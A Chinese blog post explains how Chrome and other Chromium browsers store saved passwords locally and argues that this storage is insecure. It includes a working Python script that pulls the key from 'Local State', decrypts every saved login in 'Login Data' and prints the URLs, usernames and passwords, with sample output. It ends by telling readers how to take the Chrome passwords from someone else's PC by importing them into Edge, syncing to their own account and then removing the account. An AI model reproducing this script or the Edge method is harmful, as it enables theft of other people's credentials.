首页 > Other > 你说的那个浏览器,它安全吗

你说的那个浏览器,它安全吗

2022年9月29日 发表评论 阅读评论

没错, 这里说的那个浏览器, 它就是 Chrome 。 以及包括 Edge 在内的绝大多数基于 Chromium 开发的 web浏览器,

我们在登录网站后, 浏览器会提示我们是否保存密钥,我们点下 “是”, 密钥就被浏览器记录。下次打开网站时它甚至会贴心地帮我们自动填充好用户名和密码。我们可以在 `chrome://settings/passwords` 里查看已保存的密码, 它们会随浏览器账户同步到任何使该浏览器的设备上。当我们要查看某个密码时, 浏览器会要求我们先输入设备密钥。

我一直认为它足够安全。直到有一天我研究了 Chromium 的源码。

密码保存的核心代码位于 `components\password_manager\core\browser\login_database.cc` 。这个文件会对用户输入的密码信息进行保存, 包括网站 URL, 用户名在表单中的元素, 用户名, 密码元素, 密码值等。Chromium 在将密码信息保存在本地时, 对密码值做了加密。但对于其它信息,则完全没有提供任何保密措施。

密码存储在本地的位置,位于 `AppData\Local\Google\Chrome\User Data\Default\` (或 `…\Profile 1`, `…\Profile 2`, etc…)路径下的 `Login Data` 文件里。这是一个 Sqlite 数据库文件。我们可以使用任何Sqlite 数据库软件来查看存储的内容:

打开 `logins` 表,除了密码被加密, 我们可以看到其它一切信息。在这里, 信息就已经被泄漏。到这里就完了吗?当我研究了 Chromium 是如何加密存储密码之后,我开始担心我 Chrome 里保存的 10086 个密码。

Chromium 会首先拿到一个 `key`(如果没有, 它会生成一个并保存之,以便下次使用), 并生成一个 96 位的 `nonce`, 然后用这两项信息, `AES_256_GCM` 对密码进行加密。是的, 你没的看错, 它虽然使用 GCM, 但是并没有添加校验信息。不过这不重要。随后 Chromium 将 版本号(目前是 `v10`)、`nonce` 以及加密后的密文拼接,存储在Sqlite数据库中。那么密文就是 `V10 + nonce + AES_256_GCM(key, nonce, pwd)` .

到这一步也还算好。我们知道了算法,知道了密文格式,但最重要的信息 `key` 是由 Chromium 管理的。那么 Chromium 是如何管理 key 的呢? 获取 key 需要像我们在 Chrome 界面上查看密码一样验证设备密钥吗?答案是 NO, 根本不需要!Chromium 使用 Windows API `CryptProtectData` 对 key 进行加密, `base64` 处理后存储在了本地, 它位于 `AppData\Local\Google\Chrome\User Data\Local State` 。这是一个 JSON 文件。处理后的 key 存储在 `os_crypt.encrypted_key` 中。

至此我们明确,我们可以在任意一台 PC 上获取 Chrome 保存的所有密码!

方式:

1. 在 `Local State` 中拿到 key , 令 `key = CryptUnprotectData(key)`
2. 在用户目录下拿到 `Login Data` , 获取密码密文, 密码前3位是版本号, 其后 12位是 `nonce` 再其后是密文本体 `enc_pwd` 。
3. 密码 `pwd = decrypt_AES_256_GCM(key, nonce, enc_pwd)`

以下是 Python的简单实现, 使用了 `pywin32` , `cryptography`

import os, base64, json
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import sqlite3
import win32crypt

user_data_path =  os.getenv('appdata') + R"\..\Local\Google\Chrome\User Data\\"

users_file_path = user_data_path + "Local State"
with open(users_file_path, 'r') as f:
    users_file_path = f.read()
local_state = json.loads(users_file_path)

enc_key_b64 = local_state['os_crypt']['encrypted_key']

enc_key = base64.b64decode(enc_key_b64)
enc_key = enc_key[5:]
enc_key = win32crypt.CryptUnprotectData(enc_key)[1]
print("key: len:\t{}\t{}".format(len(enc_key),enc_key))

profiles = local_state['profile']['info_cache']
print(len(profiles))
for p in profiles:
    print("User: {} {}, your passwords: ".format(profiles[p]['shortcut_name'], p))

    db_path = "{}/{}/Login Data".format(user_data_path, p)
    # print(db_path)
    con = sqlite3.connect(db_path)
    cur = con.cursor()
    res = cur.execute("SELECT * FROM logins")
    all_records = res.fetchall()
    for r in all_records:
        pwd = r[5]
        nonce = pwd[3:12+3]
        #print("version:\t{} nonce:\t{}\t{}".format(pwd[:3],len(nonce), nonce))
        pwd = pwd[3+12:]
        #print("pwd len:\t{}\t{}".format(len(pwd), pwd))
        cipher = Cipher(algorithms.AES(enc_key), modes.GCM(nonce))
        decryptor = cipher.decryptor()
        plain = decryptor.update(pwd)
        
        print("URL:\t{}\nUName:\t{}\nPwd:\t{}".format(r[0], r[3],plain[:-16].decode('utf-8')))
        print("------")
    con.close()
    print("============")        



User: Wandoer Profile 11, you passwords:
URL:    https://accounts.douban.com/passport/login_popup
UName:  test_pwds@gmail.com
Pwd:    ABCabc_123+456
------
============

以上。最关键的一点是 Chromium 对密钥的保存。唯一让人感觉到安全的, 是 `CryptUnprotectData()` 是硬件相关的API, 即在其他机器上无法通过解密本机的 `encrypted_key` 拿到 Chromium 的 key 。
如果想正在使用别人的PC, 且你想拿到他的Chrome 中的密码, 但你觉得以上方法有些复杂,我们有更简单的方式:使用  Edge 浏览器 。毫无疑问 Edge 浏览器利用了这一漏洞。你可以在别人的机器上使用 Edge 浏览器,登录你的账号, 在设置里导入 Chrome 浏览器的任意用户下的密码, 然后同步你的 Edge 账号, 这样你就可以轻松获取此电脑里所有 Chrome 浏览器用户的所有密码。当然, 别忘了在此电脑上有 Edge 里删除你的账号。

  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.